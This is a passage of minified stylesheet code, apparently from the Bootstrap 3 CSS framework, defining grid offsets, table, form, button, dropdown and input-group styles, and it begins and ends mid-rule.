eft:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0}}table{background-color:transparent}caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>td,.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>td,.table>thead:first-child>tr:first-child>th{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>tbody>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>thead>tr>th{padding:5px}.table-bordered{border:1px solid #ddd}.table-bordered>tbody>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border:1px solid #ddd}.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border-bottom-width:2px}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}table col[class*=col-]{position:static;display:table-column;float:none}table td[class*=col-],table th[class*=col-]{position:static;display:table-cell;float:none}.table>tbody>tr.active>td,.table>tbody>tr.active>th,.table>tbody>tr>td.active,.table>tbody>tr>th.active,.table>tfoot>tr.active>td,.table>tfoot>tr.active>th,.table>tfoot>tr>td.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>thead>tr.active>th,.table>thead>tr>td.active,.table>thead>tr>th.active{background-color:#f5f5f5}.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr.active:hover>th,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover{background-color:#e8e8e8}.table>tbody>tr.success>td,.table>tbody>tr.success>th,.table>tbody>tr>td.success,.table>tbody>tr>th.success,.table>tfoot>tr.success>td,.table>tfoot>tr.success>th,.table>tfoot>tr>td.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>thead>tr.success>th,.table>thead>tr>td.success,.table>thead>tr>th.success{background-color:#dff0d8}.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr.success:hover>th,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover{background-color:#d0e9c6}.table>tbody>tr.info>td,.table>tbody>tr.info>th,.table>tbody>tr>td.info,.table>tbody>tr>th.info,.table>tfoot>tr.info>td,.table>tfoot>tr.info>th,.table>tfoot>tr>td.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>thead>tr.info>th,.table>thead>tr>td.info,.table>thead>tr>th.info{background-color:#d9edf7}.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr.info:hover>th,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover{background-color:#c4e3f3}.table>tbody>tr.warning>td,.table>tbody>tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>thead>tr>td.warning,.table>thead>tr>th.warning{background-color:#fcf8e3}.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr.warning:hover>th,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover{background-color:#faf2cc}.table>tbody>tr.danger>td,.table>tbody>tr.danger>th,.table>tbody>tr>td.danger,.table>tbody>tr>th.danger,.table>tfoot>tr.danger>td,.table>tfoot>tr.danger>th,.table>tfoot>tr>td.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>thead>tr.danger>th,.table>thead>tr>td.danger,.table>thead>tr>th.danger{background-color:#f2dede}.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr.danger:hover>th,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover{background-color:#ebcccc}.table-responsive{min-height:.01%;overflow-x:auto}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>thead>tr>th{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type=search]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type=checkbox],input[type=radio]{margin:4px 0 0;margin-top:1px \9;line-height:normal}input[type=file]{display:block}input[type=range]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type=file]:focus,input[type=checkbox]:focus,input[type=radio]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:14px;line-height:1.42857143;color:#555}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eee;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto}input[type=search]{-webkit-appearance:none}@media screen and (-webkit-min-device-pixel-ratio:0){input[type=date],input[type=time],input[type=datetime-local],input[type=month]{line-height:34px}.input-group-sm input[type=date],.input-group-sm input[type=time],.input-group-sm input[type=datetime-local],.input-group-sm input[type=month],input[type=date].input-sm,input[type=time].input-sm,input[type=datetime-local].input-sm,input[type=month].input-sm{line-height:30px}.input-group-lg input[type=date],.input-group-lg input[type=time],.input-group-lg input[type=datetime-local],.input-group-lg input[type=month],input[type=date].input-lg,input[type=time].input-lg,input[type=datetime-local].input-lg,input[type=month].input-lg{line-height:46px}}.form-group{margin-bottom:15px}.checkbox,.radio{position:relative;display:block;margin-top:10px;margin-bottom:10px}.checkbox label,.radio label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:400;cursor:pointer}.checkbox input[type=checkbox],.checkbox-inline input[type=checkbox],.radio input[type=radio],.radio-inline input[type=radio]{position:absolute;margin-top:4px \9;margin-left:-20px}.checkbox+.checkbox,.radio+.radio{margin-top:-5px}.checkbox-inline,.radio-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400;vertical-align:middle;cursor:pointer}.checkbox-inline+.checkbox-inline,.radio-inline+.radio-inline{margin-top:0;margin-left:10px}fieldset[disabled] input[type=checkbox],fieldset[disabled] input[type=radio],input[type=checkbox].disabled,input[type=checkbox][disabled],input[type=radio].disabled,input[type=radio][disabled]{cursor:not-allowed}.checkbox-inline.disabled,.radio-inline.disabled,fieldset[disabled] .checkbox-inline,fieldset[disabled] .radio-inline{cursor:not-allowed}.checkbox.disabled label,.radio.disabled label,fieldset[disabled] .checkbox label,fieldset[disabled] .radio label{cursor:not-allowed}.form-control-static{min-height:34px;padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-right:0;padding-left:0}.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm{height:30px;line-height:30px}select[multiple].input-sm,textarea.input-sm{height:auto}.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.form-group-sm .form-control{height:30px;line-height:30px}select[multiple].form-group-sm .form-control,textarea.form-group-sm .form-control{height:auto}.form-group-sm .form-control-static{height:30px;min-height:32px;padding:5px 10px;font-size:12px;line-height:1.5}.input-lg{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-lg{height:46px;line-height:46px}select[multiple].input-lg,textarea.input-lg{height:auto}.form-group-lg .form-control{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.form-group-lg .form-control{height:46px;line-height:46px}select[multiple].form-group-lg .form-control,textarea.form-group-lg .form-control{height:auto}.form-group-lg .form-control-static{height:46px;min-height:38px;padding:10px 16px;font-size:18px;line-height:1.3333333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:34px;height:34px;line-height:34px;text-align:center;pointer-events:none}.input-lg+.form-control-feedback{width:46px;height:46px;line-height:46px}.input-sm+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .checkbox,.has-success .checkbox-inline,.has-success .control-label,.has-success .help-block,.has-success .radio,.has-success .radio-inline,.has-success.checkbox label,.has-success.checkbox-inline label,.has-success.radio label,.has-success.radio-inline label{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;background-color:#dff0d8;border-color:#3c763d}.has-success .form-control-feedback{color:#3c763d}.has-warning .checkbox,.has-warning .checkbox-inline,.has-warning .control-label,.has-warning .help-block,.has-warning .radio,.has-warning .radio-inline,.has-warning.checkbox label,.has-warning.checkbox-inline label,.has-warning.radio label,.has-warning.radio-inline label{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .checkbox,.has-error .checkbox-inline,.has-error .control-label,.has-error .help-block,.has-error .radio,.has-error .radio-inline,.has-error.checkbox label,.has-error.checkbox-inline label,.has-error.radio label,.has-error.radio-inline label{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;background-color:#f2dede;border-color:#a94442}.has-error .form-control-feedback{color:#a94442}.has-feedback label~.form-control-feedback{top:25px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .form-control,.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .checkbox,.form-inline .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .checkbox label,.form-inline .radio label{padding-left:0}.form-inline .checkbox input[type=checkbox],.form-inline .radio input[type=radio]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .checkbox,.form-horizontal .checkbox-inline,.form-horizontal .radio,.form-horizontal .radio-inline{padding-top:7px;margin-top:0;margin-bottom:0}.form-horizontal .checkbox,.form-horizontal .radio{min-height:27px}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.form-horizontal .control-label{padding-top:7px;margin-bottom:0;text-align:right}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:14.33px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px}}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.42857143;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-image:none;border:1px solid transparent;border-radius:4px}.btn.active.focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn:active:focus,.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.focus,.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{pointer-events:none;cursor:not-allowed;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none;opacity:.65}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default.active,.btn-default.focus,.btn-default:active,.btn-default:focus,.btn-default:hover,.open>.dropdown-toggle.btn-default{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{background-image:none}.btn-default.disabled,.btn-default.disabled.active,.btn-default.disabled.focus,.btn-default.disabled:active,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled],.btn-default[disabled].active,.btn-default[disabled].focus,.btn-default[disabled]:active,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default,fieldset[disabled] .btn-default.active,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:active,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#337ab7;border-color:#2e6da4}.btn-primary.active,.btn-primary.focus,.btn-primary:active,.btn-primary:focus,.btn-primary:hover,.open>.dropdown-toggle.btn-primary{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled,.btn-primary.disabled.active,.btn-primary.disabled.focus,.btn-primary.disabled:active,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled],.btn-primary[disabled].active,.btn-primary[disabled].focus,.btn-primary[disabled]:active,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-primary.active,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:active,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#337ab7;border-color:#2e6da4}.btn-primary .badge{color:#337ab7;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success.active,.btn-success.focus,.btn-success:active,.btn-success:focus,.btn-success:hover,.open>.dropdown-toggle.btn-success{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{background-image:none}.btn-success.disabled,.btn-success.disabled.active,.btn-success.disabled.focus,.btn-success.disabled:active,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled],.btn-success[disabled].active,.btn-success[disabled].focus,.btn-success[disabled]:active,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success,fieldset[disabled] .btn-success.active,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:active,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info.active,.btn-info.focus,.btn-info:active,.btn-info:focus,.btn-info:hover,.open>.dropdown-toggle.btn-info{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{background-image:none}.btn-info.disabled,.btn-info.disabled.active,.btn-info.disabled.focus,.btn-info.disabled:active,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled],.btn-info[disabled].active,.btn-info[disabled].focus,.btn-info[disabled]:active,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info,fieldset[disabled] .btn-info.active,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:active,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning.active,.btn-warning.focus,.btn-warning:active,.btn-warning:focus,.btn-warning:hover,.open>.dropdown-toggle.btn-warning{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled,.btn-warning.disabled.active,.btn-warning.disabled.focus,.btn-warning.disabled:active,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled],.btn-warning[disabled].active,.btn-warning[disabled].focus,.btn-warning[disabled]:active,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning,fieldset[disabled] .btn-warning.active,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:active,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#f0ad4e;border-color:#eea236}.btn-warning .badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger.active,.btn-danger.focus,.btn-danger:active,.btn-danger:focus,.btn-danger:hover,.open>.dropdown-toggle.btn-danger{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled,.btn-danger.disabled.active,.btn-danger.disabled.focus,.btn-danger.disabled:active,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled],.btn-danger[disabled].active,.btn-danger[disabled].focus,.btn-danger[disabled]:active,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger,fieldset[disabled] .btn-danger.active,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:active,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{font-weight:400;color:#337ab7;border-radius:0}.btn-link,.btn-link.active,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:active,.btn-link:focus,.btn-link:hover{border-color:transparent}.btn-link:focus,.btn-link:hover{color:#23527c;text-decoration:underline;background-color:transparent}.btn-link[disabled]:focus,.btn-link[disabled]:hover,fieldset[disabled] .btn-link:focus,fieldset[disabled] .btn-link:hover{color:#777;text-decoration:none}.btn-group-lg>.btn,.btn-lg{padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.btn-group-sm>.btn,.btn-sm{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-group-xs>.btn,.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-timing-function:ease;-o-transition-timing-function:ease;transition-timing-function:ease;-webkit-transition-duration:.35s;-o-transition-duration:.35s;transition-duration:.35s;-webkit-transition-property:height,visibility;-o-transition-property:height,visibility;transition-property:height,visibility}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown,.dropup{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175)}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857143;color:#333;white-space:nowrap}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{color:#262626;text-decoration:none;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{color:#fff;text-decoration:none;background-color:#337ab7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{color:#777}.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{right:0;left:auto}.dropdown-menu-left{right:auto;left:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857143;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{content:"";border-top:0;border-bottom:4px solid}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media (min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{right:auto;left:0}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;float:left}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-bottom-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-left-radius:0;border-top-right-radius:0;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-top-right-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{display:table-cell;float:none;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle=buttons]>.btn input[type=checkbox],[data-toggle=buttons]>.btn input[type=radio],[data-toggle=buttons]>.btn-group>.btn input[type=checkbox],[data-toggle=buttons]>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*=col-]{float:none;padding-right:0;padding-left:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:46px;line-height:46px}select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn,textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 